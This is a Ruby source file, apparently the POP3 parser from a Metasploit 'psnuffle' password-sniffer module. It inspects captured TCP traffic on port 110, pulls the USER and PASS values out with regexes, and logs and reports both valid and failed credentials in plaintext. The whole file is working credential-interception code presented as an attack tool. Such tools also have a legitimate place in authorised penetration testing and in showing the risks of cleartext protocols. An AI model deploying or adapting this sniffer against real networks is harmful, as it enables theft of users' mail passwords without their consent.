# Psnuffle password sniffer add-on class for pop3 # part of psnuffle sniffer auxiliary module # # When db is available reports go into db # Also incorrect credentials are sniffed but marked # as unsuccessful logins... (Typos are common :-) ) # class SnifferPOP3 < BaseProtocolParser def register_sigs self.sigs = { :ok => /^(\+OK[^\n]*)\n/i, :err => /^(\-ERR[^\n]*)\n/i, :user => /^USER\s+([^\n]+)\n/i, :pass => /^PASS\s+([^\n]+)\n/i, :quit => /^(QUIT\s*[^\n]*)\n/i } end def parse(pkt) # We want to return immediatly if we do not have a packet which is handled by us return unless pkt.is_tcp? return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) self.sigs.each_key do |k| # There is only one pattern per run to test matched = nil matches = nil if(pkt.payload =~ self.sigs[k]) matched = k matches = $1 end case matched when :ok # Last command was successful, in addition most servers transmit a banner with the first +OK case s[:last] when nil # Its the first +OK must include the banner, worst case its just +OK s[:banner] = matches s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\"" report_service(s) when :user # When the last command was a username login # We might keep track on this one in future when :pass # Perfect we get an +OK after a PASS command this means right password given :-) s[:proto]="pop3" s[:extra]="Successful Login. Banner: #{s[:banner]}" report_auth_info(s) print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :quit # The session is terminated by the user just delete is as well sessions.delete(s[:session]) end s[:last]=:ok when :err case s[:last] when :pass # Oops got a -ERR after a pass so its crap ignore the pass # But report it, might be helpfull for guessing :-) s[:proto]="pop3" s[:extra]="Failed Login. Banner: #{s[:banner]}" report_auth_info(s) print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") s[:pass]="" end when nil # No matches, no saved state else s[:last]=matched sessions[s[:session]].merge!({k => matches}) end # end case matched end # end of each_key end # end of parse end